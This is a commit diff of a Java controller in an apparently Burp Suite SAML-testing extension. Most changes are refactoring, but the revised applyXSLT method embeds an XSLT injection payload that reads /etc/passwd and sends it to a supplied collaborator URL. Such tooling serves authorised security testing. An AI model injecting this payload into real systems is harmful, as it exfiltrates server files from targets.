4040import javax .xml .crypto .dsig .XMLSignatureException ;
4141import javax .xml .parsers .ParserConfigurationException ;
4242import model .BurpCertificate ;
43- import org .w3c .dom .DOMException ;
44- import org .w3c .dom .Document ;
45- import org .w3c .dom .Element ;
46- import org .w3c .dom .Node ;
47- import org .w3c .dom .NodeList ;
43+ import org .w3c .dom .*;
4844import org .xml .sax .SAXException ;
4945
5046import static java .util .Objects .requireNonNull ;
5147
5248public class SamlTabController implements ExtensionProvidedHttpRequestEditor , Observer {
5349
54- private static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found" ;
55- private static final String XSW_ATTACK_APPLIED = "XSW Attack applied" ;
56- private static final String XXE_CONTENT_APPLIED = "XXE content applied" ;
57- private static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack" ;
58- private static final String XSLT_CONTENT_APPLIED = "XSLT content applied" ;
59- private static final String XML_NOT_SUITABLE_FOR_XLST = "This XML Message is not suitable for this particular XLST attack" ;
60- private static final String XML_COULD_NOT_SIGN = "Could not sign XML" ;
61- private static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML" ;
62- private static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported" ;
63- private static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?" ;
64- private static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard" ;
65- private static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file." ;
50+ public static final String XML_CERTIFICATE_NOT_FOUND = "X509 Certificate not found" ;
51+ public static final String XSW_ATTACK_APPLIED = "XSW Attack applied" ;
52+ public static final String XXE_CONTENT_APPLIED = "XXE content applied" ;
53+ public static final String XML_NOT_SUITABLE_FOR_XXE = "This XML Message is not suitable for this particular XXE attack" ;
54+ public static final String XSLT_CONTENT_APPLIED = "XSLT content applied" ;
55+ public static final String XML_NOT_SUITABLE_FOR_XSLT = "This XML Message is not suitable for this particular XSLT attack" ;
56+ public static final String XML_COULD_NOT_SIGN = "Could not sign XML" ;
57+ public static final String XML_COULD_NOT_SERIALIZE = "Could not serialize XML" ;
58+ public static final String XML_NOT_WELL_FORMED = "XML isn't well formed or binding is not supported" ;
59+ public static final String XML_NOT_SUITABLE_FOR_XSW = "This XML Message is not suitable for this particular XSW, is there a signature?" ;
60+ public static final String NO_BROWSER = "Could not open diff in Browser. Path to file was copied to clipboard" ;
61+ public static final String NO_DIFF_TEMP_FILE = "Could not create diff temp file." ;
6662
6763 private final CertificateTabController certificateTabController ;
6864 private XMLHelpers xmlHelpers ;
@@ -238,22 +234,24 @@ public void setRequestResponse(HttpRequestResponse requestResponse) {
238234 this .samlMessageAnalysisResult .isWSSUrlEncoded ());
239235 this .samlMessage = decodedSAMLMessage .message ();
240236 } else {
241- String parameterValue ;
237+ var httpParamType =
238+ this .samlMessageAnalysisResult .isURLParam ()
239+ ? HttpParameterType .URL
240+ : HttpParameterType .BODY ;
242241
243- if (this .samlMessageAnalysisResult .isSAMLRequest ()) {
244- parameterValue = requestResponse .request ().parameterValue (certificateTabController .getSamlRequestParameterName (), HttpParameterType .BODY );
245- } else {
246- parameterValue = requestResponse .request ().parameterValue (certificateTabController .getSamlResponseParameterName (), HttpParameterType .BODY );
247- }
242+ var parameterValue =
243+ this .samlMessageAnalysisResult .isSAMLRequest ()
244+ ? requestResponse .request ().parameterValue (certificateTabController .getSamlRequestParameterName (), httpParamType )
245+ : requestResponse .request ().parameterValue (certificateTabController .getSamlResponseParameterName (), httpParamType );
248246
249247 var decodedSAMLMessage =
250248 SamlMessageDecoder .getDecodedSAMLMessage (
251249 parameterValue ,
252250 this .samlMessageAnalysisResult .isWSSMessage (),
253251 this .samlMessageAnalysisResult .isWSSUrlEncoded ());
252+
254253 this .samlMessage = decodedSAMLMessage .message ();
255254 }
256-
257255 } catch (IOException e ) {
258256 BurpExtender .api .logging ().logToError (e );
259257 setInfoMessageText (XML_COULD_NOT_SERIALIZE );
@@ -339,9 +337,7 @@ public void removeSignature() {
339337 }
340338
341339 public void resetMessage () {
342- if (isRawMode ) {
343- samlMessage = orgSAMLMessage ;
344- }
340+ samlMessage = orgSAMLMessage ;
345341 textArea .setContents (ByteArray .byteArray (samlMessage ));
346342 isEdited = false ;
347343 }
@@ -430,11 +426,15 @@ public void resignMessage() {
430426 }
431427
432428 private void setInfoMessageText (String infoMessage ) {
433- samlGUI .getActionPanel ().getInfoMessageLabel ().setText (infoMessage );
429+ samlGUI .getActionPanel ().getStatusMessageLabel ().setText (infoMessage );
430+ }
431+
432+ public String getInfoMessageText () {
433+ return samlGUI .getActionPanel ().getStatusMessageLabel ().getText ();
434434 }
435435
436436 private void resetInfoMessageText () {
437- samlGUI .getActionPanel ().getInfoMessageLabel ().setText ("" );
437+ samlGUI .getActionPanel ().getStatusMessageLabel ().setText ("" );
438438 }
439439
440440 private void updateCertificateList () {
@@ -534,33 +534,45 @@ public void applyXXE(String collabUrl) {
534534 }
535535
536536 public void applyXSLT (String collabUrl ) {
537- String xslt = "\n " +
538- "<ds:Transform>\n " +
539- " <xsl:stylesheet xmlns:xsl=\" http://www.w3.org/1999/XSL/Transform\" >\n " +
540- " <xsl:template match=\" doc\" >\n " +
541- " <xsl:variable name=\" file\" select=\" 'test'\" />\n " +
542- " <xsl:variable name=\" escaped\" select=\" encode-for-uri('$file')\" />\n " +
543- " <xsl:variable name=\" attackURL\" select=\" '" + collabUrl + "'\" />\n " +
544- " <xsl:variable name=\" exploitURL\" select=\" concat($attackerURL,$escaped)\" />\n " +
545- " <xsl:value-of select=\" unparsed-text($exploitURL)\" />\n " +
546- " </xsl:template>\n " +
547- " </xsl:stylesheet>\n " +
548- "</ds:Transform>" ;
549- String transformString = "<ds:Transforms>" ;
537+ var prefixed = true ;
538+ var transformString = "<ds:Transforms>" ;
539+
550540 int index = orgSAMLMessage .indexOf (transformString );
541+ if (index == -1 ) {
542+ prefixed = false ;
543+ transformString = "<Transforms>" ;
544+ }
551545
546+ index = orgSAMLMessage .indexOf (transformString );
552547 if (index == -1 ) {
553- setInfoMessageText (XML_NOT_SUITABLE_FOR_XLST );
554- } else {
555- int substringIndex = index + transformString .length ();
556- String firstPart = orgSAMLMessage .substring (0 , substringIndex );
557- String secondPart = orgSAMLMessage .substring (substringIndex );
558- samlMessage = firstPart + xslt + secondPart ;
559- textArea .setContents (ByteArray .byteArray (samlMessage ));
560- isEdited = true ;
561- setRawMode (true );
562- setInfoMessageText (XSLT_CONTENT_APPLIED );
548+ setInfoMessageText (XML_NOT_SUITABLE_FOR_XSLT );
549+ return ;
563550 }
551+
552+ var prefix = prefixed ? "ds:" : "" ;
553+ var xslt = """
554+
555+ <%sTransform>
556+ <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
557+ <xsl:template match="doc">
558+ <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
559+ <xsl:variable name="escaped" select="encode-for-uri($file)"/>
560+ <xsl:variable name="attackerUrl" select="'%s'"/>
561+ <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
562+ <xsl:value-of select="unparsed-text($exploitUrl)"/>
563+ </xsl:template>
564+ </xsl:stylesheet>
565+ </%sTransform>
566+ """ .formatted (prefix , collabUrl , prefix );
567+
568+ int substringIndex = index + transformString .length ();
569+ String firstPart = orgSAMLMessage .substring (0 , substringIndex );
570+ String secondPart = orgSAMLMessage .substring (substringIndex );
571+ samlMessage = firstPart + xslt + secondPart ;
572+ textArea .setContents (ByteArray .byteArray (samlMessage ));
573+ isEdited = true ;
574+ setRawMode (true );
575+ setInfoMessageText (XSLT_CONTENT_APPLIED );
564576 }
565577
566578 public synchronized void addMatchAndReplace (String match , String replace ) {
@@ -580,12 +592,14 @@ public void setGUIEditable(boolean editable) {
580592 }
581593
582594 public void showSignatureHelp () {
583- SignatureHelpWindow window = new SignatureHelpWindow ();
595+ var window = new SignatureHelpWindow ();
596+ window .setLocationRelativeTo (BurpExtender .api .userInterface ().swingUtils ().suiteFrame ());
584597 window .setVisible (true );
585598 }
586599
587600 public void showXSWHelp () {
588601 XSWHelpWindow window = new XSWHelpWindow ();
602+ window .setLocationRelativeTo (BurpExtender .api .userInterface ().swingUtils ().suiteFrame ());
589603 window .setVisible (true );
590604 }
591605
0 commit comments